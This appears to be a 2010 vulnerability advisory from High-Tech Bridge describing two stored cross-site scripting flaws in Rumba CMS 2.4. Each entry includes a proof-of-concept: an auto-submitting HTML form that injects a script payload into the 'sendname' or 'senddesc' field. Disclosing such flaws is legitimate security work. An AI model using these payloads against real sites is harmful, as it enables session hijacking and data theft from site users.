Rumba CMS 2.4 Cross Site Scripting

`==================================  
Vulnerability ID: HTB22591  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_rumba_cms.html  
Product: Rumba CMS  
Vendor: Rumba Netware Ltd. ( http://rumbacms.com )   
Vulnerable Version: 2.4 and Probably Prior Versions  
Vendor Notification: 18 August 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "sendname" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/index.php" method="post" name="main" >  
  
<input type="hidden" name="sendtags" value="cms" />  
<input type="hidden" name="sendid" value="newtag" />  
<input type="hidden" name="sendname" value='New tag"><script>alert(document.cookie)</script>' />  
<input type="hidden" name="event" value="add_tag" />  
  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
  
==================================  
Vulnerability ID: HTB22592  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_rumba_cms_1.html  
Product: Rumba CMS  
Vendor: Rumba Netware Ltd. ( http://rumbacms.com )   
Vulnerable Version: 2.4 and Probably Prior Versions  
Vendor Notification: 18 August 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "rumba_desc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/index.php" method="post" name="main" >  
<input type="hidden" name="sendid" value="rumba_id" />  
<input type="hidden" name="sendtitl" value="rumba_titl" />  
<input type="hidden" name="sendauthor" value="rumba_author" />  
<input type="hidden" name="senddata" value="Sat, 14 Aug 2010 14:34:20" />  
<input type="hidden" name="sendlost" value="0" />  
<input type="hidden" name="senddesc" value='rumba_desc"><script>alert(document.cookie)</script>' />  
<input type="hidden" name="sendanons" value="rumba_anons" />  
<input type="hidden" name="sendtext" value="rumba_text" />  
<input type="hidden" name="sendtags" value="service" />  
<input type="hidden" name="sendcomm" value="yes" />  
<input type="hidden" name="add-end" value="begin" />  
<input type="hidden" name="send_old_id" value="rumba_old_id" />  
<input type="hidden" name="event" value="add_page" />  
  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`